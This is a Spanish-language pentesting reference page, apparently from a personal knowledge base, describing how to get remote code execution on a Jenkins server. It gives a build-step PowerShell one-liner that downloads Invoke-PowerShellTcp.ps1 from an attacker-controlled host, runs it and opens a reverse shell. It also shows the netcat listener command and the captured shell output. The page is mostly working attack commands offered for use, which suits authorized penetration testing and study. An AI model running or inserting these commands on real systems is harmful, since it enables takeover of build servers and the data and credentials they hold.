> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-aplicaciones-web/tecnologia/jenkins.md).

# Jenkins

## Explotación

### \[RCE] Ejecución de comandos + Reverse shell

Creación de una tarea dentro de un proyecto con un código que envíe una reverse shell hacia una máquina controlada por el/la atacante que se encuentre a la escucha:

**Dashboard > Project 1 > Configure > Build Triggers > Build Steps > Execute Windows batch command**

```
192.168.1.100 # IP de la máquina de ataque 
443           # Puerto a la escucha en la máquina
```

{% code overflow="wrap" %}

```powershell
powershell iex(iwr -UseBasicParsing http://192.168.1.100/Invoke-PowerShellTcp.ps1); power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

<figure><img src="/files/9JE4nZAJlI5fimhJB9S7" alt=""><figcaption></figcaption></figure>

En la máquina de ataque se pone el puerto 443 a la escucha:

```powershell
C:\Infra\Tools\netcat\nc64.exe -lvp 443
```

Por otro lado, en la máquina de ataque, se levanta un servidor temporal donde se expondrá el fichero "Invoke-PowerShellTcp.ps1" que se utiliza en el *payload* anterior.

[Misc](/pentesting-en-infraestructuras/misc.md#servidores-temporales)

Después de levantar el servidor temporal y poner el puerto 443 a la escucha, se ejecuta la tarea de Jenkins:

<figure><img src="/files/JbTBqlPoK9b2ZXxAGWon" alt="" width="344"><figcaption></figcaption></figure>

Cuando finalice la ejecución de la tarea, se obtendrá la consola de powershell:

```powershell
listening on [any] 443 ...
192.168.1.112: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.112] 50238: NO_DATA
Windows PowerShell running as user webuser on JKSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins\workspace\Project1>
```
